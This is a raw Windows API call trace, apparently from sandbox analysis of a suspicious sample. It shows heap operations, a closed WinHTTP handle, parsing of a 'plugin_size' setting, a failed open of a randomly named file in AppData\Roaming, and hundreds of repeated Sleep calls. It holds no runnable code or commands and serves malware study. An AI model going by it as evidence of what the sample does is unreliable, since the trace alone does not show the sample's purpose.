[0292.571] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471ce0) returned 0x68 [0292.571] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471ce0) returned 1 [0292.571] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4707e0) returned 0x12 [0292.571] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x4707e0) returned 1 [0292.571] WinHttpCloseHandle (hInternet=0x8626920) returned 1 [0292.572] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471bc0) returned 0x10c [0292.572] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471bc0) returned 1 [0292.572] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471910) returned 0x11a [0292.572] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471910) returned 1 [0292.572] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471a40) returned 0x169 [0292.573] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471a40) returned 1 [0292.573] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0292.573] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x15) returned 0x4707e0 [0292.573] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0292.573] lstrlenA (lpString="plugin_size") returned 11 [0292.573] atoi (_Str="0") returned 0 [0292.573] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0292.573] lstrlenA (lpString="|:|") returned 3 [0292.573] MapViewOfFile (hFileMappingObject=0x19ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2890000 [0292.582] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0292.582] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2890000) returned 0x0 [0292.610] atoi (_Str="0") returned 0 [0292.610] VirtualFree (lpAddress=0x6d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0292.611] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0292.611] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0292.611] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0292.612] Sleep (dwMilliseconds=0x258) [0292.613] Sleep (dwMilliseconds=0x258) [0292.615] Sleep (dwMilliseconds=0x258) [0292.616] Sleep (dwMilliseconds=0x258) [0292.618] Sleep (dwMilliseconds=0x258) [0292.619] Sleep (dwMilliseconds=0x258) [0292.621] Sleep (dwMilliseconds=0x258) [0292.624] Sleep (dwMilliseconds=0x258) [0292.625] Sleep (dwMilliseconds=0x258) [0292.627] Sleep (dwMilliseconds=0x258) [0292.628] Sleep (dwMilliseconds=0x258) [0292.630] Sleep (dwMilliseconds=0x258) [0292.631] Sleep (dwMilliseconds=0x258) [0292.633] Sleep (dwMilliseconds=0x258) [0292.634] Sleep (dwMilliseconds=0x258) [0292.636] Sleep (dwMilliseconds=0x258) [0292.638] Sleep (dwMilliseconds=0x258) [0292.639] Sleep (dwMilliseconds=0x258) [0292.641] Sleep (dwMilliseconds=0x258) [0292.642] Sleep (dwMilliseconds=0x258) [0292.644] Sleep (dwMilliseconds=0x258) [0292.645] Sleep (dwMilliseconds=0x258) [0292.647] Sleep (dwMilliseconds=0x258) [0292.648] Sleep (dwMilliseconds=0x258) [0292.650] Sleep (dwMilliseconds=0x258) [0292.651] Sleep (dwMilliseconds=0x258) [0292.654] Sleep (dwMilliseconds=0x258) [0292.656] Sleep (dwMilliseconds=0x258) [0292.657] Sleep (dwMilliseconds=0x258) [0292.659] Sleep (dwMilliseconds=0x258) [0292.660] Sleep (dwMilliseconds=0x258) [0292.662] Sleep (dwMilliseconds=0x258) [0292.663] Sleep (dwMilliseconds=0x258) [0292.665] Sleep (dwMilliseconds=0x258) [0292.667] Sleep (dwMilliseconds=0x258) [0292.668] Sleep (dwMilliseconds=0x258) [0292.670] Sleep (dwMilliseconds=0x258) [0292.671] Sleep (dwMilliseconds=0x258) [0292.673] Sleep (dwMilliseconds=0x258) [0292.674] Sleep (dwMilliseconds=0x258) [0292.676] Sleep (dwMilliseconds=0x258) [0292.677] Sleep (dwMilliseconds=0x258) [0292.679] Sleep (dwMilliseconds=0x258) [0292.680] Sleep (dwMilliseconds=0x258) [0292.682] Sleep (dwMilliseconds=0x258) [0292.683] Sleep (dwMilliseconds=0x258) [0292.687] Sleep (dwMilliseconds=0x258) [0292.688] Sleep (dwMilliseconds=0x258) [0292.690] Sleep (dwMilliseconds=0x258) [0292.692] Sleep (dwMilliseconds=0x258) [0292.693] Sleep (dwMilliseconds=0x258) [0292.695] Sleep (dwMilliseconds=0x258) [0292.696] Sleep (dwMilliseconds=0x258) [0292.698] Sleep (dwMilliseconds=0x258) [0292.700] Sleep (dwMilliseconds=0x258) [0292.701] Sleep (dwMilliseconds=0x258) [0292.703] Sleep (dwMilliseconds=0x258) [0292.704] Sleep (dwMilliseconds=0x258) [0292.706] Sleep (dwMilliseconds=0x258) [0292.707] Sleep (dwMilliseconds=0x258) [0292.709] Sleep (dwMilliseconds=0x258) [0292.710] Sleep (dwMilliseconds=0x258) [0292.712] Sleep (dwMilliseconds=0x258) [0292.713] Sleep (dwMilliseconds=0x258) [0292.715] Sleep (dwMilliseconds=0x258) [0292.723] Sleep (dwMilliseconds=0x258) [0292.725] Sleep (dwMilliseconds=0x258) [0292.727] Sleep (dwMilliseconds=0x258) [0292.728] Sleep (dwMilliseconds=0x258) [0292.730] Sleep (dwMilliseconds=0x258) [0292.732] Sleep (dwMilliseconds=0x258) [0292.734] Sleep (dwMilliseconds=0x258) [0292.735] Sleep (dwMilliseconds=0x258) [0292.737] Sleep (dwMilliseconds=0x258) [0292.738] Sleep (dwMilliseconds=0x258) [0292.740] Sleep (dwMilliseconds=0x258) [0292.741] Sleep (dwMilliseconds=0x258) [0292.743] Sleep (dwMilliseconds=0x258) [0292.744] Sleep (dwMilliseconds=0x258) [0292.746] Sleep (dwMilliseconds=0x258) [0292.747] Sleep (dwMilliseconds=0x258) [0292.751] Sleep (dwMilliseconds=0x258) [0292.752] Sleep (dwMilliseconds=0x258) [0292.754] Sleep (dwMilliseconds=0x258) [0292.755] Sleep (dwMilliseconds=0x258) [0292.757] Sleep (dwMilliseconds=0x258) [0292.759] Sleep (dwMilliseconds=0x258) [0292.760] Sleep (dwMilliseconds=0x258) [0292.762] Sleep (dwMilliseconds=0x258) [0292.764] Sleep (dwMilliseconds=0x258) [0292.765] Sleep (dwMilliseconds=0x258) [0292.767] Sleep (dwMilliseconds=0x258) [0292.769] Sleep (dwMilliseconds=0x258) [0292.770] Sleep (dwMilliseconds=0x258) [0292.772] Sleep (dwMilliseconds=0x258) [0292.773] Sleep (dwMilliseconds=0x258) [0292.775] Sleep (dwMilliseconds=0x258) [0292.777] Sleep (dwMilliseconds=0x258) [0292.778] Sleep (dwMilliseconds=0x258) [0292.780] Sleep (dwMilliseconds=0x258) [0292.790] Sleep (dwMilliseconds=0x258) [0292.791] Sleep (dwMilliseconds=0x258) [0292.792] Sleep (dwMilliseconds=0x258) [0292.794] Sleep (dwMilliseconds=0x258) [0292.796] Sleep (dwMilliseconds=0x258) [0292.797] Sleep (dwMilliseconds=0x258) [0292.798] Sleep (dwMilliseconds=0x258) [0292.800] Sleep (dwMilliseconds=0x258) [0292.801] Sleep (dwMilliseconds=0x258) [0292.804] Sleep (dwMilliseconds=0x258) [0292.805] Sleep (dwMilliseconds=0x258) [0292.807] Sleep (dwMilliseconds=0x258) [0292.809] Sleep (dwMilliseconds=0x258) [0292.810] Sleep (dwMilliseconds=0x258) [0292.812] Sleep (dwMilliseconds=0x258) [0292.814] Sleep (dwMilliseconds=0x258) [0292.815] Sleep (dwMilliseconds=0x258) [0292.817] Sleep (dwMilliseconds=0x258) [0292.819] Sleep (dwMilliseconds=0x258) [0292.820] Sleep (dwMilliseconds=0x258) [0292.823] Sleep (dwMilliseconds=0x258) [0292.824] Sleep (dwMilliseconds=0x258) [0292.826] Sleep (dwMilliseconds=0x258) [0292.828] Sleep (dwMilliseconds=0x258) [0292.830] Sleep (dwMilliseconds=0x258) [0292.831] Sleep (dwMilliseconds=0x258) [0292.832] Sleep (dwMilliseconds=0x258) [0292.834] Sleep (dwMilliseconds=0x258) [0292.836] Sleep (dwMilliseconds=0x258) [0292.838] Sleep (dwMilliseconds=0x258) [0292.839] Sleep (dwMilliseconds=0x258) [0292.841] Sleep (dwMilliseconds=0x258) [0292.843] Sleep (dwMilliseconds=0x258) [0292.844] Sleep (dwMilliseconds=0x258) [0292.846] Sleep (dwMilliseconds=0x258) [0292.847] Sleep (dwMilliseconds=0x258) [0292.849] Sleep (dwMilliseconds=0x258) [0292.850] Sleep (dwMilliseconds=0x258) [0292.852] Sleep (dwMilliseconds=0x258) [0292.855] Sleep (dwMilliseconds=0x258) [0292.989] Sleep (dwMilliseconds=0x258) [0292.991] Sleep (dwMilliseconds=0x258) [0292.992] Sleep (dwMilliseconds=0x258) [0292.994] Sleep (dwMilliseconds=0x258) [0292.995] Sleep (dwMilliseconds=0x258) [0292.997] Sleep (dwMilliseconds=0x258) [0292.998] Sleep (dwMilliseconds=0x258) [0293.000] Sleep (dwMilliseconds=0x258) [0293.001] Sleep (dwMilliseconds=0x258) [0293.003] Sleep (dwMilliseconds=0x258) [0293.004] Sleep (dwMilliseconds=0x258) [0293.006] Sleep (dwMilliseconds=0x258) [0293.007] Sleep (dwMilliseconds=0x258) [0293.012] Sleep (dwMilliseconds=0x258) [0293.014] Sleep (dwMilliseconds=0x258) [0293.015] Sleep (dwMilliseconds=0x258) [0293.017] Sleep (dwMilliseconds=0x258) [0293.018] Sleep (dwMilliseconds=0x258) [0293.020] Sleep (dwMilliseconds=0x258) [0293.022] Sleep (dwMilliseconds=0x258) [0293.023] Sleep (dwMilliseconds=0x258) [0293.026] Sleep (dwMilliseconds=0x258) [0293.028] Sleep (dwMilliseconds=0x258) [0293.029] Sleep (dwMilliseconds=0x258) [0293.031] Sleep (dwMilliseconds=0x258) [0293.032] Sleep (dwMilliseconds=0x258) [0293.034] Sleep (dwMilliseconds=0x258) [0293.036] Sleep (dwMilliseconds=0x258) [0293.037] Sleep (dwMilliseconds=0x258) [0293.039] Sleep (dwMilliseconds=0x258) [0293.040] Sleep (dwMilliseconds=0x258) [0293.042] Sleep (dwMilliseconds=0x258) [0293.044] Sleep (dwMilliseconds=0x258) [0293.045] Sleep (dwMilliseconds=0x258) [0293.047] Sleep (dwMilliseconds=0x258) [0293.048] Sleep (dwMilliseconds=0x258) [0293.050] Sleep (dwMilliseconds=0x258) [0293.052] Sleep (dwMilliseconds=0x258) [0293.054] Sleep (dwMilliseconds=0x258) [0293.056] Sleep (dwMilliseconds=0x258) [0293.057] Sleep (dwMilliseconds=0x258) [0293.059] Sleep (dwMilliseconds=0x258) [0293.061] Sleep (dwMilliseconds=0x258) [0293.063] Sleep (dwMilliseconds=0x258) [0293.065] Sleep (dwMilliseconds=0x258) [0293.067] Sleep (dwMilliseconds=0x258) [0293.068] Sleep (dwMilliseconds=0x258) [0293.070] Sleep (dwMilliseconds=0x258) [0293.072] Sleep (dwMilliseconds=0x258) [0293.074] Sleep (dwMilliseconds=0x258) [0293.075] Sleep (dwMilliseconds=0x258) [0293.077] Sleep (dwMilliseconds=0x258) [0293.078] Sleep (dwMilliseconds=0x258) [0293.080] Sleep (dwMilliseconds=0x258) [0293.081] Sleep (dwMilliseconds=0x258) [0293.082] Sleep (dwMilliseconds=0x258) [0293.084] Sleep (dwMilliseconds=0x258) [0293.085] Sleep (dwMilliseconds=0x258) [0293.087] Sleep (dwMilliseconds=0x258) [0293.088] Sleep (dwMilliseconds=0x258) [0293.090] Sleep (dwMilliseconds=0x258) [0293.094] Sleep (dwMilliseconds=0x258) [0293.095] Sleep (dwMilliseconds=0x258) [0293.097] Sleep (dwMilliseconds=0x258) [0293.098] Sleep (dwMilliseconds=0x258) [0293.099] Sleep (dwMilliseconds=0x258) [0293.102] Sleep (dwMilliseconds=0x258) [0293.104] Sleep (dwMilliseconds=0x258) [0293.106] Sleep (dwMilliseconds=0x258) [0293.108] Sleep (dwMilliseconds=0x258) [0293.109] Sleep (dwMilliseconds=0x258) [0293.111] Sleep (dwMilliseconds=0x258) [0293.112] Sleep (dwMilliseconds=0x258) [0293.114] Sleep (dwMilliseconds=0x258) [0293.115] Sleep (dwMilliseconds=0x258) [0293.117] Sleep (dwMilliseconds=0x258) [0293.118] Sleep (dwMilliseconds=0x258) [0293.120] Sleep (dwMilliseconds=0x258) [0293.121] Sleep (dwMilliseconds=0x258) [0293.124] Sleep (dwMilliseconds=0x258) [0293.216] Sleep (dwMilliseconds=0x258) [0293.264] Sleep (dwMilliseconds=0x258) [0293.265] Sleep (dwMilliseconds=0x258) [0293.266] Sleep (dwMilliseconds=0x258) [0293.268] Sleep (dwMilliseconds=0x258) [0293.275] Sleep (dwMilliseconds=0x258) [0293.285] Sleep (dwMilliseconds=0x258) [0293.292] Sleep (dwMilliseconds=0x258) [0293.294] Sleep (dwMilliseconds=0x258) [0293.333] Sleep (dwMilliseconds=0x258) [0293.414] Sleep (dwMilliseconds=0x258) [0293.416] Sleep (dwMilliseconds=0x258) [0293.418] Sleep (dwMilliseconds=0x258) [0293.422] Sleep (dwMilliseconds=0x258) [0293.424] Sleep (dwMilliseconds=0x258) [0293.425] Sleep (dwMilliseconds=0x258) [0293.427] Sleep (dwMilliseconds=0x258) [0293.428] Sleep (dwMilliseconds=0x258) [0293.430] Sleep (dwMilliseconds=0x258) [0293.433] Sleep (dwMilliseconds=0x258) [0293.434] Sleep (dwMilliseconds=0x258) [0293.436] Sleep (dwMilliseconds=0x258) [0293.437] Sleep (dwMilliseconds=0x258) [0293.529] Sleep (dwMilliseconds=0x258) [0293.543] Sleep (dwMilliseconds=0x258) [0293.546] Sleep (dwMilliseconds=0x258) [0293.547] Sleep (dwMilliseconds=0x258) [0293.548] Sleep (dwMilliseconds=0x258) [0293.550] Sleep (dwMilliseconds=0x258) [0293.551] Sleep (dwMilliseconds=0x258) [0293.553] Sleep (dwMilliseconds=0x258) [0293.554] Sleep (dwMilliseconds=0x258) [0293.556] Sleep (dwMilliseconds=0x258) [0293.560] Sleep (dwMilliseconds=0x258) [0293.564] Sleep (dwMilliseconds=0x258) [0293.565] Sleep (dwMilliseconds=0x258) [0293.569] Sleep (dwMilliseconds=0x258) [0293.571] Sleep (dwMilliseconds=0x258) [0293.647] Sleep (dwMilliseconds=0x258) [0293.682] Sleep (dwMilliseconds=0x258) [0293.683] Sleep (dwMilliseconds=0x258) [0293.686] Sleep (dwMilliseconds=0x258) [0293.688] Sleep (dwMilliseconds=0x258) [0293.689] Sleep (dwMilliseconds=0x258) [0293.691] Sleep (dwMilliseconds=0x258) [0293.693] Sleep (dwMilliseconds=0x258) [0293.694] Sleep (dwMilliseconds=0x258) [0293.696] Sleep (dwMilliseconds=0x258) [0293.697] Sleep (dwMilliseconds=0x258) [0293.698] Sleep (dwMilliseconds=0x258) [0293.700] Sleep (dwMilliseconds=0x258) [0293.701] Sleep (dwMilliseconds=0x258) [0293.703] Sleep (dwMilliseconds=0x258) [0293.704] Sleep (dwMilliseconds=0x258) [0293.706] Sleep (dwMilliseconds=0x258) [0293.707] Sleep (dwMilliseconds=0x258) [0293.709] Sleep (dwMilliseconds=0x258) [0293.757] Sleep (dwMilliseconds=0x258) [0293.759] Sleep (dwMilliseconds=0x258) [0293.816] Sleep (dwMilliseconds=0x258) [0293.817] Sleep (dwMilliseconds=0x258) [0293.821] Sleep (dwMilliseconds=0x258) [0293.822] Sleep (dwMilliseconds=0x258) [0293.824] Sleep (dwMilliseconds=0x258) [0293.831] Sleep (dwMilliseconds=0x258) [0293.840] Sleep (dwMilliseconds=0x258) [0293.848] Sleep (dwMilliseconds=0x258) [0293.871] Sleep (dwMilliseconds=0x258) [0293.879] Sleep (dwMilliseconds=0x258) [0293.986] Sleep (dwMilliseconds=0x258) [0293.995] Sleep (dwMilliseconds=0x258) [0293.999] Sleep (dwMilliseconds=0x258) [0294.001] Sleep (dwMilliseconds=0x258) [0294.002] Sleep (dwMilliseconds=0x258) [0294.003] Sleep (dwMilliseconds=0x258) [0294.012] Sleep (dwMilliseconds=0x258) [0294.021] Sleep (dwMilliseconds=0x258) [0294.028] Sleep (dwMilliseconds=0x258) [0294.160] Sleep (dwMilliseconds=0x258) [0294.217] Sleep (dwMilliseconds=0x258) [0294.230] Sleep (dwMilliseconds=0x258) [0294.231] Sleep (dwMilliseconds=0x258) [0294.238] Sleep (dwMilliseconds=0x258) [0294.303] Sleep (dwMilliseconds=0x258) [0294.312] Sleep (dwMilliseconds=0x258) [0294.368] Sleep (dwMilliseconds=0x258) [0294.369] Sleep (dwMilliseconds=0x258) [0294.371] Sleep (dwMilliseconds=0x258) [0294.373] Sleep (dwMilliseconds=0x258) [0294.374] Sleep (dwMilliseconds=0x258) [0294.376] Sleep (dwMilliseconds=0x258) [0294.378] Sleep (dwMilliseconds=0x258) [0294.380] Sleep (dwMilliseconds=0x258) [0294.382] Sleep (dwMilliseconds=0x258) [0294.383] Sleep (dwMilliseconds=0x258) [0294.385] Sleep (dwMilliseconds=0x258) [0294.387] Sleep (dwMilliseconds=0x258) [0294.388] Sleep (dwMilliseconds=0x258) [0294.390] Sleep (dwMilliseconds=0x258) [0294.399] Sleep (dwMilliseconds=0x258) [0294.417] Sleep (dwMilliseconds=0x258) [0294.500] Sleep (dwMilliseconds=0x258) [0294.503] Sleep (dwMilliseconds=0x258) [0294.505] Sleep (dwMilliseconds=0x258) [0294.507] Sleep (dwMilliseconds=0x258) [0294.509] Sleep (dwMilliseconds=0x258) [0294.511] Sleep (dwMilliseconds=0x258) [0294.512] Sleep (dwMilliseconds=0x258) [0294.517] Sleep (dwMilliseconds=0x258) [0294.519] Sleep (dwMilliseconds=0x258) [0294.520] Sleep (dwMilliseconds=0x258) [0294.521] Sleep (dwMilliseconds=0x258) [0294.524] Sleep (dwMilliseconds=0x258) [0294.525] Sleep (dwMilliseconds=0x258) [0294.527] Sleep (dwMilliseconds=0x258) [0294.528] Sleep (dwMilliseconds=0x258) [0294.529] Sleep (dwMilliseconds=0x258) [0294.531] Sleep (dwMilliseconds=0x258) [0294.533] Sleep (dwMilliseconds=0x258) [0294.619] Sleep (dwMilliseconds=0x258) [0294.631] Sleep (dwMilliseconds=0x258) [0294.639] Sleep (dwMilliseconds=0x258) [0294.641] Sleep (dwMilliseconds=0x258) [0294.651] Sleep (dwMilliseconds=0x258) [0294.652] Sleep (dwMilliseconds=0x258) [0294.657] Sleep (dwMilliseconds=0x258) [0294.658] Sleep (dwMilliseconds=0x258) [0294.660] Sleep (dwMilliseconds=0x258) [0294.661] Sleep (dwMilliseconds=0x258) [0294.663] Sleep (dwMilliseconds=0x258) [0294.664] Sleep (dwMilliseconds=0x258) [0294.665] Sleep (dwMilliseconds=0x258) [0294.667] Sleep (dwMilliseconds=0x258) [0294.668] Sleep (dwMilliseconds=0x258) [0294.670] Sleep (dwMilliseconds=0x258) [0294.761] Sleep (dwMilliseconds=0x258) [0294.774] Sleep (dwMilliseconds=0x258) [0294.775] Sleep (dwMilliseconds=0x258) [0294.777] Sleep (dwMilliseconds=0x258) [0294.778] Sleep (dwMilliseconds=0x258) [0294.780] Sleep (dwMilliseconds=0x258) [0294.782] Sleep (dwMilliseconds=0x258) [0294.785] Sleep (dwMilliseconds=0x258) [0294.787] Sleep (dwMilliseconds=0x258) [0294.788] Sleep (dwMilliseconds=0x258) [0294.790] Sleep (dwMilliseconds=0x258) [0294.791] Sleep (dwMilliseconds=0x258) [0294.793] Sleep (dwMilliseconds=0x258) [0294.794] Sleep (dwMilliseconds=0x258) [0294.796] Sleep (dwMilliseconds=0x258) [0294.797] Sleep (dwMilliseconds=0x258) [0294.799] Sleep (dwMilliseconds=0x258) [0294.800] Sleep (dwMilliseconds=0x258) [0294.802] Sleep (dwMilliseconds=0x258) [0294.803] Sleep (dwMilliseconds=0x258) [0294.857] Sleep (dwMilliseconds=0x258) [0294.866] Sleep (dwMilliseconds=0x258) [0294.904] Sleep (dwMilliseconds=0x258) [0294.911] Sleep (dwMilliseconds=0x258) [0294.912] Sleep (dwMilliseconds=0x258) [0294.919] Sleep (dwMilliseconds=0x258) [0294.920] Sleep (dwMilliseconds=0x258) [0294.922] Sleep (dwMilliseconds=0x258) [0294.923] Sleep (dwMilliseconds=0x258) [0294.925] Sleep (dwMilliseconds=0x258) [0294.926] Sleep (dwMilliseconds=0x258) [0294.928] Sleep (dwMilliseconds=0x258) [0294.933] Sleep (dwMilliseconds=0x258) [0294.996] Sleep (dwMilliseconds=0x258) [0294.997] Sleep (dwMilliseconds=0x258) [0295.060] Sleep (dwMilliseconds=0x258) [0295.061] Sleep (dwMilliseconds=0x258) [0295.069] Sleep (dwMilliseconds=0x258) [0295.071] Sleep (dwMilliseconds=0x258) [0295.072] Sleep (dwMilliseconds=0x258) [0295.074] Sleep (dwMilliseconds=0x258) [0295.076] Sleep (dwMilliseconds=0x258) [0295.077] Sleep (dwMilliseconds=0x258) [0295.079] Sleep (dwMilliseconds=0x258) [0295.081] Sleep (dwMilliseconds=0x258) [0295.082] Sleep (dwMilliseconds=0x258) [0295.084] Sleep (dwMilliseconds=0x258) [0295.085] Sleep (dwMilliseconds=0x258) [0295.088] Sleep (dwMilliseconds=0x258) [0295.090] Sleep (dwMilliseconds=0x258) [0295.106] Sleep (dwMilliseconds=0x258) [0295.126] Sleep (dwMilliseconds=0x258) [0295.138] Sleep (dwMilliseconds=0x258) [0295.221] Sleep (dwMilliseconds=0x258) [0295.285] Sleep (dwMilliseconds=0x258) [0295.291] Sleep (dwMilliseconds=0x258) [0295.293] Sleep (dwMilliseconds=0x258) [0295.382] Sleep (dwMilliseconds=0x258) [0295.389] Sleep (dwMilliseconds=0x258) [0295.418] Sleep (dwMilliseconds=0x258) [0295.426] Sleep (dwMilliseconds=0x258) [0295.427] Sleep (dwMilliseconds=0x258) [0295.434] Sleep (dwMilliseconds=0x258) [0295.443] Sleep (dwMilliseconds=0x258) [0295.445] Sleep (dwMilliseconds=0x258) [0295.446] Sleep (dwMilliseconds=0x258) [0295.508] Sleep (dwMilliseconds=0x258) [0295.510] Sleep (dwMilliseconds=0x258) [0295.557] Sleep (dwMilliseconds=0x258) [0295.559] Sleep (dwMilliseconds=0x258) [0295.560] Sleep (dwMilliseconds=0x258) [0295.561] Sleep (dwMilliseconds=0x258) [0295.566] Sleep (dwMilliseconds=0x258) [0295.567] Sleep (dwMilliseconds=0x258) [0295.568] Sleep (dwMilliseconds=0x258) [0295.571] Sleep (dwMilliseconds=0x258) [0295.572] Sleep (dwMilliseconds=0x258) [0295.574] Sleep (dwMilliseconds=0x258) [0295.576] Sleep (dwMilliseconds=0x258) [0295.578] Sleep (dwMilliseconds=0x258) [0295.579] Sleep (dwMilliseconds=0x258) [0295.581] Sleep (dwMilliseconds=0x258) [0295.583] Sleep (dwMilliseconds=0x258) [0295.584] Sleep (dwMilliseconds=0x258) [0295.586] Sleep (dwMilliseconds=0x258) [0295.609] Sleep (dwMilliseconds=0x258) [0295.686] Sleep (dwMilliseconds=0x258) [0295.694] Sleep (dwMilliseconds=0x258) [0295.695] Sleep (dwMilliseconds=0x258) [0295.698] Sleep (dwMilliseconds=0x258) [0295.700] Sleep (dwMilliseconds=0x258) [0295.701] Sleep (dwMilliseconds=0x258) [0295.703] Sleep (dwMilliseconds=0x258) [0295.704] Sleep (dwMilliseconds=0x258) [0295.706] Sleep (dwMilliseconds=0x258) [0295.707] Sleep (dwMilliseconds=0x258) [0295.709] Sleep (dwMilliseconds=0x258) [0295.792] Sleep (dwMilliseconds=0x258) [0295.812] Sleep (dwMilliseconds=0x258) [0295.813] Sleep (dwMilliseconds=0x258) [0295.816] Sleep (dwMilliseconds=0x258) [0295.823] Sleep (dwMilliseconds=0x258) [0295.824] Sleep (dwMilliseconds=0x258) [0295.827] Sleep (dwMilliseconds=0x258) [0295.828] Sleep (dwMilliseconds=0x258) [0295.830] Sleep (dwMilliseconds=0x258) [0295.831] Sleep (dwMilliseconds=0x258) [0295.833] Sleep (dwMilliseconds=0x258) [0295.834] Sleep (dwMilliseconds=0x258) [0295.836] Sleep (dwMilliseconds=0x258) [0295.838] Sleep (dwMilliseconds=0x258) [0295.839] Sleep (dwMilliseconds=0x258) [0295.841] Sleep (dwMilliseconds=0x258) [0295.899] Sleep (dwMilliseconds=0x258) [0295.901] Sleep (dwMilliseconds=0x258) [0295.966] Sleep (dwMilliseconds=0x258) [0295.968] Sleep (dwMilliseconds=0x258) [0295.969] Sleep (dwMilliseconds=0x258) [0295.971] Sleep (dwMilliseconds=0x258) [0295.986] Sleep (dwMilliseconds=0x258) [0295.988] Sleep (dwMilliseconds=0x258) [0295.990] Sleep (dwMilliseconds=0x258) [0295.993] Sleep (dwMilliseconds=0x258) [0295.995] Sleep (dwMilliseconds=0x258) [0296.025] Sleep (dwMilliseconds=0x258) [0296.097] Sleep (dwMilliseconds=0x258) [0296.101] Sleep (dwMilliseconds=0x258) [0296.114] Sleep (dwMilliseconds=0x258) [0296.116] Sleep (dwMilliseconds=0x258) [0296.122] Sleep (dwMilliseconds=0x258) [0296.131] Sleep (dwMilliseconds=0x258) [0296.137] Sleep (dwMilliseconds=0x258) [0296.230] Sleep (dwMilliseconds=0x258) [0296.238] Sleep (dwMilliseconds=0x258) [0296.267] Sleep (dwMilliseconds=0x258) [0296.274] Sleep (dwMilliseconds=0x258) [0296.277] Sleep (dwMilliseconds=0x258) [0296.279] Sleep (dwMilliseconds=0x258) [0296.280] Sleep (dwMilliseconds=0x258) [0296.282] Sleep (dwMilliseconds=0x258) [0296.283] Sleep (dwMilliseconds=0x258) [0296.285] Sleep (dwMilliseconds=0x258) [0296.286] Sleep (dwMilliseconds=0x258) [0296.288] Sleep (dwMilliseconds=0x258) [0296.290] Sleep (dwMilliseconds=0x258) [0296.291] Sleep (dwMilliseconds=0x258) [0296.296] Sleep (dwMilliseconds=0x258) [0296.372] Sleep (dwMilliseconds=0x258) [0296.409] Sleep (dwMilliseconds=0x258) [0296.410] Sleep (dwMilliseconds=0x258) [0296.418] Sleep (dwMilliseconds=0x258) [0296.456] Sleep (dwMilliseconds=0x258) [0296.512] Sleep (dwMilliseconds=0x258) [0296.522] Sleep (dwMilliseconds=0x258) [0296.579] Sleep (dwMilliseconds=0x258) [0296.581] Sleep (dwMilliseconds=0x258) [0296.589] Sleep (dwMilliseconds=0x258) [0296.590] Sleep (dwMilliseconds=0x258) [0296.597] Sleep (dwMilliseconds=0x258) [0296.598] Sleep (dwMilliseconds=0x258) [0296.605] Sleep (dwMilliseconds=0x258) [0296.607] Sleep (dwMilliseconds=0x258) [0296.611] Sleep (dwMilliseconds=0x258) [0296.648] Sleep (dwMilliseconds=0x258) [0296.650] Sleep (dwMilliseconds=0x258) [0296.727] Sleep (dwMilliseconds=0x258) [0296.730] Sleep (dwMilliseconds=0x258) [0296.732] Sleep (dwMilliseconds=0x258) [0296.735] Sleep (dwMilliseconds=0x258) [0296.738] Sleep (dwMilliseconds=0x258) [0296.742] Sleep (dwMilliseconds=0x258) [0296.746] Sleep (dwMilliseconds=0x258) [0296.748] Sleep (dwMilliseconds=0x258) [0296.749] Sleep (dwMilliseconds=0x258) [0296.751] Sleep (dwMilliseconds=0x258) [0296.752] Sleep (dwMilliseconds=0x258) [0296.754] Sleep (dwMilliseconds=0x258) [0296.755] Sleep (dwMilliseconds=0x258) [0296.772] Sleep (dwMilliseconds=0x258) [0296.866] Sleep (dwMilliseconds=0x258) [0296.873] Sleep (dwMilliseconds=0x258) [0296.874] Sleep (dwMilliseconds=0x258) [0296.876] Sleep (dwMilliseconds=0x258) [0296.879] Sleep (dwMilliseconds=0x258) [0296.881] Sleep (dwMilliseconds=0x258) [0296.882] Sleep (dwMilliseconds=0x258) [0296.884] Sleep (dwMilliseconds=0x258) [0296.885] Sleep (dwMilliseconds=0x258) [0296.887] Sleep (dwMilliseconds=0x258) [0296.889] Sleep (dwMilliseconds=0x258) [0296.891] Sleep (dwMilliseconds=0x258) [0296.893] Sleep (dwMilliseconds=0x258) [0296.894] Sleep (dwMilliseconds=0x258) [0296.896] Sleep (dwMilliseconds=0x258) [0296.898] Sleep (dwMilliseconds=0x258) [0296.899] Sleep (dwMilliseconds=0x258) [0296.901] Sleep (dwMilliseconds=0x258) [0296.902] Sleep (dwMilliseconds=0x258) [0296.904] Sleep (dwMilliseconds=0x258) [0296.905] Sleep (dwMilliseconds=0x258) [0296.907] Sleep (dwMilliseconds=0x258) [0296.908] Sleep (dwMilliseconds=0x258) [0296.910] Sleep (dwMilliseconds=0x258) [0296.911] Sleep (dwMilliseconds=0x258) [0296.913] Sleep (dwMilliseconds=0x258) [0296.914] Sleep (dwMilliseconds=0x258) [0296.916] Sleep (dwMilliseconds=0x258) [0296.917] Sleep (dwMilliseconds=0x258) [0296.919] Sleep (dwMilliseconds=0x258) [0296.992] Sleep (dwMilliseconds=0x258) 